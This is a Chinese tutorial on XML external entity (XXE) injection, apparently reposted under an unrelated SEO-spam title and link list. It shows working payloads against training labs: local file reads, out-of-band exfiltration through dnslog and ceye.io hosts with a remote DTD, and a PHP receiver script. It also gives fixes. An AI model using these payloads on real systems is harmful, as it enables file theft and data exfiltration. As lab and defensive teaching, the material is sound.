当前位置: 首页 > news >正文

厦门网站推广怎么为一个网站做外链

厦门网站推广,怎么为一个网站做外链,网站标签的作用,广州网站开发定制web漏洞-xml外部实体注入#xff08;XXE#xff09; 目录 web漏洞-xml外部实体注入#xff08;XXE#xff09;概念危害检测方法利用方法漏洞利用xxe-lab有回显情况无回显情况 pikachu靶场有回显内容无回显 修复方案 概念 xml可拓展标记语言#xff1a; xml是一种可拓展的标…web漏洞-xml外部实体注入XXE 目录 web漏洞-xml外部实体注入XXE概念危害检测方法利用方法漏洞利用xxe-lab有回显情况无回显情况 pikachu靶场有回显内容无回显 修复方案 概念 xml可拓展标记语言 xml是一种可拓展的标记语言可以用来存储数据例如我们经常看到一些.xml的文件它还可以用来传输数据我们可以直接将数据以xml的格式放在请求当中发给服务器。 XML被设计为传输和存储数据XML文档结构包括XML声明、DTD文档类型定义可选、文档元素其焦点是数据的内容其把数据从HTML分离是独立于软件和硬件的信息传输工具。 XXE外部实体注入 XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞XXE漏洞发生在应用程序解析XML输入时没有禁止外部实体的加载导致可加载恶意外部文件造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。 概括一下就是攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。 XML和HTML的区别 XML 与 HTML 的主要差异 XML 被设计为传输和存储数据其焦点是数据的内容。 HTML 被设计用来显示数据其焦点是数据的外观。 HTML 旨在显示信息 而 XML 旨在传输信息。 第一部分XML声明部分 ?xml version1.0?第二部分文档类型定义 DTD !DOCTYPE note[ !--定义此文档是note类型的文档-- !ENTITY entity-name SYSTEM URI/URL !--外部实体声明-- ]]]第三部分文档元素 note toDave/to fromTom/from headReminder/head bodyYou are a good man/body /noteDTDDocument Type Definition文档类型定义用来为 XML 文档定义语法约束可以是内部申明也可以使引用外部。DTD现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的从而也就直接避免了这个漏洞。内部申明DTD格式 !DOCTYPE 根元素 [元素申明]外部引用DTD格式 !DOCTYPE 根元素 SYSTEM 外部DTD的URI引用公共DTD格式 !DOCTYPE 根元素 PUBLIC DTD标识名 公共DTD的URIDTD实体 1内部实体声明 !ENTITY 实体名称 ”实体的值” 2外部实体声明 !ENTITY 实体名称 SYSTEM ”URI” 3参数实体声明 !ENTITY %实体名称 ”实体的值” !ENTITY %实体名称 SYSTEM ”URI”危害 可造成文件读取 RCE执行 内网攻击 DOS攻击 … 检测方法 白盒 1、观察函数以及可控变量的查找 2、观察传输和存储数据格式的类型 黑盒 1、人工检测 1对数据格式类型进行判断 2content-type值判断 如Content-Typetext/xml 或Content-type:application/xml 3更改content-type值观察返回信息 2、工具 利用方法 1、输出形式 1有回显 协议、外部引用 2无回显 外部引用-反向链接配合 无回显的XXE漏洞如何探测 1利用公网服务器查看日志记录 2利用DNSLOG查看访问记录 3利用CEYE.io带出数据进行查看 2、绕过过滤 1协议利用 2外部引用 3编码绕过 漏洞利用 xxe-lab 靶场搭建项目地址 搭建完成打开进入环境 有回显情况 尝试登录随便输入用户和密码进行抓包分析数据 发现请求头Content-type:application/xml 观察请求数据当中的格式包含XML格式 直接构造payload进行文件读取 payload ?xml version1.0? !DOCTYPE root [ !ENTITY root SYSTEM file:///c:/windows/win.ini ] userusernameroot;/usernamepasswordroot/password/user成功读取 界面效果 可以使用其他支持的协议进行读取 file/// #file协议读取文件 http://url/file.txt #http协议读取站点下的文件 php://filter #文件流形式读取php文件以base64编码的方式读取 解码还原 无回显情况 将输出的回显代码进行注释 使用dnslog外带测试 payload ?xml version1.0 ? !DOCTYPE test [!ENTITY % file SYSTEM http://psyz46.dnslog.cn%file; ] userusernameroot/usernamepasswordroot/password/user内容出现报错信息回看dnslog处是否有回显 dnslog处回显信息 也可以使用ceye.io进行外带 payload ?xml version1.0 ? !DOCTYPE root [!ENTITY % file SYSTEM http://vbdpkn.ceye.io%file; ] userusernameroot/usernamepasswordroot/password/user查看结果 构造payload进行读取文件 hack.dtd文件内容 !ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resourcefile:///c://windows//win.ini !ENTITY % int !ENTITY % send SYSTEM http://vbdpkn.ceye.io?p%file;payload ?xml version1.0 encodingutf-8? !DOCTYPE root [ !ENTITY % remote SYSTEM http://127.0.0.1/hack.dtd %remote;%int;%send;%file; ]成功带出数据 进行解密 方法二 以生成文件的方式进行读取 首先写一个生成并写入文件的脚本代码 getfile.php放在用于接收数据的服务器上用于接受数据并保存为文件 ?php $data$_GET[file]; $getfilefopen(file.txt,w); fwrite($getfile,$data); fclose($getfile); ?hack.dtd用于将读取到得数据赋值给getfile.php !ENTITY % all !ENTITY send SYSTEM http://ip/getfile.php?file%file;payload ?xml version1.0? !DOCTYPE ANY[ !ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resourcefile:///c://windows//win.ini !ENTITY % remote SYSTEM http://127.0.0.1/hack.dtd %remote; %all; ]rootsend;/rootps 在进行文件读取的时候有些文件中带有空格在将数据赋值给getfile.php文件时,get方法传参会将数据错误识别不能正常外带出来数据信息内容这时可以协议进行操作可使用php://filter协议使用base64编码以数据流得形式读取文件。 点击执行过后在网站的根目录下成功生成file.txt文件 查看文件的内容为base64编码解码即可 解码后 pikachu靶场 进入环境测试回显 payload ?xml version1.0? !DOCTYPE ANY [ !ENTITY xxe rumilc ] axxe;/a有回显内容 读取文件 payload ?xml version1.0? !DOCTYPE ANY[ !ENTITY xxe SYSTEM file:///c:/windows/win.ini ]axxe;/a无回显 无回显方式的理由和xxe-lab利用方式基本相同。 dnslog回显测试: ?xml version1.0 ? !DOCTYPE test [!ENTITY % file SYSTEM http://vbdpkn.ceye.io%file; ]通过外部实体注入test.dtd test.dtd: !ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resourcefile:///c://windows//win.ini !ENTITY % int !ENTITY #x25; send SYSTEM http://vbdpkn.ceye.io/?p%file;//#x25; %的实体编码payload ?xml version1.0 encodingutf-8? !DOCTYPE root [ !ENTITY % remote SYSTEM http://127.0.0.1/hack.dtd %remote;%int;%send;%file; ]成功带了出来 base64解密即可。 修复方案 #xxe漏洞修复与防御方案-php,java,python-过滤及禁用 #方案1-禁用外部实体 PHP: libxml_disable_entity_loader(true);JAVA: DocumentBuilderFactory dbfDocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);Python from lxml import etree xmlData etree.parse(xmlSource,etree.XMLParser(resolve_entitiesFalse))#方案2-过滤用户提交的XML数据 过滤关键词!DOCTYPE和!ENTITY或者SYSTEM和PUBLIC
http://www.hkea.cn/news/14593708/

相关文章:

  • 网站模板下载 免费c mvc网站开发实例教程
  • 深圳线运营是网站建设提升学历报名入口
  • 网站改版是什么建筑工程公司有哪些岗位
  • wordpress带轮播企业站主题网站建设风险管理
  • app与微网站的区别是什么意思重庆市特种作业证报名
  • 做情网站服务器做网站好
  • 静海网站建设西宁做网站的公司捌君博力请
  • 邢台在百度上做个网站网站建站建设上海黔文信息科技有限公司30
  • 定制网站温州网站制作建设
  • wordpress短代码开发怎样建设网站优化
  • 国外注册公司流程及费用seo关键词怎么优化
  • 传统网站与营销型网站昆明建设局官方网站
  • 直接在原备案号下增加新网站白云免费网站建设
  • 网站挂马黑链检测清除工具购物商城网站的制作
  • 个人网站搭建详细流程淘客做网站怎么备案
  • 凡科的网站做seo比较难做网站宣传的公司
  • 网站制作和优化合肥网站设计建设
  • 湘潭找工作网站上海松江建设工程开发有限公司网站
  • 租房网站开发视频教程WordPress迁移服务器和域名
  • 想要网站推广页郑州建网站多少
  • 网站怎么增加流量国外的哪个网站可以做跳转
  • 贵阳美丽乡村建设网站厦门关键词优化企业
  • 顺义成都网站建设甘肃兰州地震最新消息
  • 网站开发先做后台还是前台网站后台功能开发
  • 自建网站做外贸好做吗自适应企业网站模板
  • 北京网站搭建开发潍坊seo网络推广
  • 有哪些好用的设计网站有哪些内容青岛网站设计公司电话
  • 巴中微小网站建设案例wordpress extended rss
  • 微小店网站建设哪家好建设网站平台哪里最好
  • 邯郸如何做企业网站制作网站需要注意的细节